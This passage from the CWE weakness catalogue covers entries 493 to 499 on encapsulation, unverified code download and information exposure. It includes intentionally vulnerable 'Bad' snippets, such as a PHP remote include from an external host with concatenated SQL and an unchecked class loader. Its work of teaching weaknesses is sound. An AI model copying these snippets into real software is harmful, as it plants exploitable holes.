If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
ParentOf	V	500	Public Static Field Not Marked Final	1208

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Example Language: Java *(Bad)*

```
public final class WidgetData extends Applet {
  public float price;
  ...
  public WidgetData(...) {
    this.price = LookupPrice("MyWidgetType");
  }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

Example Language: C++ *(Bad)*

```
public string configPath = "/etc/application/config.dat";
```

Example Language: Java *(Bad)*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Mobile Code: Non-Final Public Field
CLASP			Failure to provide confidentiality for stored data
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-494: Download of Code Without Integrity Check

Weakness ID : 494
Structure : Simple
Abstraction : Base

Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1480
ChildOf	C	345	Insufficient Verification of Data Authenticity	858
CanFollow	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	168

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1480

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2455

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2498

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality Other	Execute Unauthorized Code or Commands Alter Execution Logic Other *Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Phase: Architecture and Design

Phase: Operation

Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example loads an external class from a local subdirectory.

Example Language: Java *(Bad)*

```java
URL[] classURLs= new URL[]{
  new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP *(Bad)*

```php
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
  include("http://external.example.com/dbInfo.php");
  //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
  mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
  mysql_select_db($dbname);
  $query = 'Select * from users where username='.$username.' And password='.$password;
  $result = mysql_query($query);
  if(mysql_numrows($result) == 1){
    mysql_close();
    return true;
  }
  else{
    mysql_close();
    return false;
  }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Observed Examples

Reference	Description
CVE-2019-9534	Satellite phone does not validate its firmware image. *https://www.cve.org/CVERecord?id=CVE-2019-9534*

Reference	Description
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). *https://www.cve.org/CVERecord?id=CVE-2021-22909*
CVE-2008-3438	OS does not verify authenticity of its own updates. *https://www.cve.org/CVERecord?id=CVE-2008-3438*
CVE-2008-3324	online poker client does not verify authenticity of its own updates. *https://www.cve.org/CVERecord?id=CVE-2008-3324*
CVE-2001-1125	anti-virus product does not verify automatic updates for itself. *https://www.cve.org/CVERecord?id=CVE-2001-1125*
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity. *https://www.cve.org/CVERecord?id=CVE-2002-0671*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2374
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2375
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2390
MemberOf	C	865	2011 Top 25 - Risky Resource Management	900	2392
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2437
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2516
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2522
MemberOf	C	1411	Comprehensive Categorization: Insufficient Verification of Data Authenticity	1400	2559

Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns	SFP27		Tainted input to environment

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
184	Software Integrity Attack
185	Malicious Software Download
186	Malicious Software Update
187	Malicious Automated Software Update via Redirection

CAPEC-ID	Attack Pattern Name
533	Malicious Manual Software Update
538	Open-Source Library Manipulation
657	Malicious Automated Software Update via Spoofing
662	Adversary in the Browser (AiTB)
691	Spoof Open-Source Software Metadata
692	Spoof Version Control System Commit Metadata
693	StarJacking
695	Repo Jacking

References

[REF-454]Microsoft. "Introduction to Code Signing". < http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx >.

[REF-455]Microsoft. "Authenticode". < http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx >.

[REF-456]Apple. "Code Signing Guide". Apple Developer Connection. 2008 November 9. < https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html >.2023-04-07.

[REF-457]Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". < http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-459]Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". 2010 April 5. SANS Software Security Institute. < https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/ >.2023-04-07.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege >.2023-04-07.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

CWE-495: Private Data Structure Returned From A Public Method

Weakness ID : 495
Structure : Simple
Abstraction : Variant

Description

The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the data structure can be modified from outside the intended scope.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Declare the method private.

Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Phase: Implementation

Use public setter methods that govern how a private member can be modified.

Demonstrative Examples

Example 1:

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Example Language: Java *(Bad)*

```
private String[] colors;
public String[] getColors() {
  return colors;
}
```

Example 2:

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

Example Language: C++ *(Bad)*

```
class Color
{
  private:
    int[2] colorArray;
    int colorValue;
  public:
    Color () : colorArray { 1, 2 }, colorValue (3) { };
    int[2] & fa () { return colorArray; } // return reference to private array
    int & fv () { return colorValue; } // return reference to private integer
};
int main ()
{
  Color c;
  c.fa () [1] = 42; // modifies private array element
  c.fv () = 42; // modifies private int
  return 0;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Private Array-Typed Field Returned From A Public Method
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID : 496
Structure : Simple
Abstraction : Variant

Description

Assigning public data to a private array is equivalent to giving public access to the array.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The contents of the array can be modified from outside the intended scope.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not allow objects to modify private members of a class.

Demonstrative Examples

Example 1:

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Example Language: Java *(Bad)*

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
  this.userRoles = userRoles;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2438
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Public Data Assigned to Private Array-Typed Field
Software Fault Patterns	SFP25		Tainted input to variable

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere

Weakness ID : 497
Structure : Simple
Abstraction : Base

Description

The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does.

Extended Description

Network-based products, such as web applications, often run on top of an operating system or similar environment. When the product communicates with outside parties, details about the underlying system are expected to remain hidden, such as path names for data files, other OS users, installed packages, the application environment, etc. This system information may be provided by the product itself, or buried within diagnostic or debugging messages. Debugging information helps an adversary learn about the system and form an attack plan.

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. Using other weaknesses, an attacker could cause errors to occur; the response to these errors can reveal detailed system information, along with other impacts. An attacker can use messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. A product may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	511
ParentOf	B	214	Invocation of Process Using Visible Sensitive Information	556
ParentOf	V	548	Exposure of Information Through Directory Listing	1269

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	2333

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

Example Language: C *(Bad)*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(Bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 3:

The following code prints an exception to the standard error stream:

Example Language: Java *(Bad)*

```
try {
   ...
} catch (Exception e) {
   e.printStackTrace();
}
```

Example Language: *(Bad)*

```
try {
   ...
} catch (Exception e) {
   Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 4:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Example Language: C# *(Bad)*

```
string cs="database=northwind; server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Observed Examples

Reference	Description
CVE-2021-32638	Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command. *https://www.cve.org/CVERecord?id=CVE-2021-32638*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2386
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2400
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2569

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			System Information Leak
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
170	Web Application Fingerprinting
694	System Location Discovery

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID : 498
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
CanPrecede	C	200	Exposure of Sensitive Information to an Unauthorized Actor	511

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.*	

Potential Mitigations

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
public class CloneClient {
  public CloneClient() //throws
  java.lang.CloneNotSupportedException {
    Teacher t1 = new Teacher("guddu","22,nagar road");
    //...
    // Do some stuff to remove the teacher.
    Teacher t2 = (Teacher)t1.clone();
    System.out.println(t2.name);
  }
  public static void main(String args[]) {
    new CloneClient();
  }
}
class Teacher implements Cloneable {
  public Object clone() {
    try {
      return super.clone();
    }
    catch (java.lang.CloneNotSupportedException e) {
      throw new RuntimeException(e.toString());
    }
  }
  public String name;
  public String clas;
  public Teacher(String name,String clas) {
    this.name = name;
    this.clas = clas;
  }
}
```

Make classes uncloneable by defining a clone function like:

Example Language: Java *(Good)*

```
public final void clone() throws java.lang.CloneNotSupportedException {
   throw new java.lang.CloneNotSupportedException();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2467
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through class cloning
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ07-J		Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID : 499
Structure : Simple
Abstraction : Variant

Description

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1478
CanPrecede	C	200	Exposure of Sensitive Information to an Unauthorized Actor	511

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *an attacker can write out the class to a byte stream, then extract the important data from it.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

